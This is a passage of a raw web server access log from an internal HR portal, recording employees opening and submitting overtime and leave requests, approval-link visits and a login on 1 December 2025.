HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.11.108 - - [01/Dec/2025:08:52:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 192.168.11.70 - - [01/Dec/2025:08:53:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:53:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:08:53:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17121621530514086 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:53:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17121621530514086 HTTP/1.1" 200 13560 192.168.11.70 - - [01/Dec/2025:08:54:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17121621530514086 HTTP/1.1" 200 15745 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17121621530514086" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.17121621530514086 HTTP/1.1" 200 15745 192.168.11.70 - - [01/Dec/2025:08:54:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4077 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4077 192.168.11.70 - - [01/Dec/2025:08:54:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:08:54:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:08:54:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 100.64.0.1 - - [01/Dec/2025:08:54:17 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA106F2EDBF0F8F3DD3C6AE5E939AF6D891EC80F963F7B03FB91B4CDCBD08D4B28150C6F71CD954E95770078D2E9533A4A9D26D9FDEA83ABED2 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:08:54:17 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA106F2EDBF0F8F3DD3C6AE5E939AF6D891EC80F963F7B03FB91B4CDCBD08D4B28150C6F71CD954E95770078D2E9533A4A9D26D9FDEA83ABED2 HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:08:54:19 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA106F2EDBF0F8F3DD3C6AE5E939AF6D891EC80F963F7B03FB91B4CDCBD08D4B28150C6F71CD954E95770078D2E9533A4A9D26D9FDEA83ABED2 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:08:54:19 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA106F2EDBF0F8F3DD3C6AE5E939AF6D891EC80F963F7B03FB91B4CDCBD08D4B28150C6F71CD954E95770078D2E9533A4A9D26D9FDEA83ABED2 HTTP/1.1" 200 4166 100.64.0.1 - - [01/Dec/2025:08:54:20 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA106F2EDBF0F8F3DD3C6AE5E939AF6D891EC80F963F7B03FB91B4CDCBD08D4B28150C6F71CD954E95770078D2E9533A4A9D26D9FDEA83ABED2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:08:54:20 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.70 - - [01/Dec/2025:08:54:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3323604938572393 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3323604938572393 HTTP/1.1" 200 13560 192.168.11.70 - - [01/Dec/2025:08:54:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3323604938572393 HTTP/1.1" 200 15732 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3323604938572393" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3323604938572393 HTTP/1.1" 200 15732 192.168.11.70 - - [01/Dec/2025:08:54:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.11.70 - - [01/Dec/2025:08:54:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:08:54:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:08:54:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16350517617442906 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:54:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16350517617442906 HTTP/1.1" 200 13560 100.64.0.1 - - [01/Dec/2025:08:55:02 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EAD4715E1732FB88E457AD56B4B8BA8192F4722805FD68A951943A58765FF5E26B748FFE9A93A72CD1B310CEE8C9F273B0B2CEBBDDEFFA69 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:08:55:02 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EAD4715E1732FB88E457AD56B4B8BA8192F4722805FD68A951943A58765FF5E26B748FFE9A93A72CD1B310CEE8C9F273B0B2CEBBDDEFFA69 HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:08:55:03 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EAD4715E1732FB88E457AD56B4B8BA8192F4722805FD68A951943A58765FF5E26B748FFE9A93A72CD1B310CEE8C9F273B0B2CEBBDDEFFA69 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:08:55:03 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EAD4715E1732FB88E457AD56B4B8BA8192F4722805FD68A951943A58765FF5E26B748FFE9A93A72CD1B310CEE8C9F273B0B2CEBBDDEFFA69 HTTP/1.1" 200 4166 100.64.0.1 - - [01/Dec/2025:08:55:03 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EAD4715E1732FB88E457AD56B4B8BA8192F4722805FD68A951943A58765FF5E26B748FFE9A93A72CD1B310CEE8C9F273B0B2CEBBDDEFFA69" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:08:55:03 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.70 - - [01/Dec/2025:08:55:14 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16350517617442906 HTTP/1.1" 200 15729 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16350517617442906" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:55:14 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16350517617442906 HTTP/1.1" 200 15729 100.64.0.1 - - [01/Dec/2025:08:55:20 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA17DDCDFAB1B5D2AE121FF2ABE84D5CE43EB9C488A903A8763C8E5E748A8F1B742FE5E188E8852130FF36693DF2FEDD6F3DBA3CBEDA8CCE278 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:08:55:20 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA17DDCDFAB1B5D2AE121FF2ABE84D5CE43EB9C488A903A8763C8E5E748A8F1B742FE5E188E8852130FF36693DF2FEDD6F3DBA3CBEDA8CCE278 HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:08:55:21 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA17DDCDFAB1B5D2AE121FF2ABE84D5CE43EB9C488A903A8763C8E5E748A8F1B742FE5E188E8852130FF36693DF2FEDD6F3DBA3CBEDA8CCE278 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:08:55:21 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA17DDCDFAB1B5D2AE121FF2ABE84D5CE43EB9C488A903A8763C8E5E748A8F1B742FE5E188E8852130FF36693DF2FEDD6F3DBA3CBEDA8CCE278 HTTP/1.1" 200 4166 100.64.0.1 - - [01/Dec/2025:08:55:21 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA17DDCDFAB1B5D2AE121FF2ABE84D5CE43EB9C488A903A8763C8E5E748A8F1B742FE5E188E8852130FF36693DF2FEDD6F3DBA3CBEDA8CCE278" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:08:55:21 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.70 - - [01/Dec/2025:08:55:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:55:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.11.70 - - [01/Dec/2025:08:55:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:55:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:08:55:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:55:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [01/Dec/2025:08:55:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:55:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [01/Dec/2025:08:56:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.144 - - [01/Dec/2025:08:56:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.144 - - [01/Dec/2025:08:56:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.144 - - [01/Dec/2025:08:56:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.144 - - [01/Dec/2025:08:56:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.144 - - [01/Dec/2025:08:56:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [01/Dec/2025:08:56:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [01/Dec/2025:08:56:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [01/Dec/2025:08:56:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [01/Dec/2025:08:56:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.27619957773824544 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" 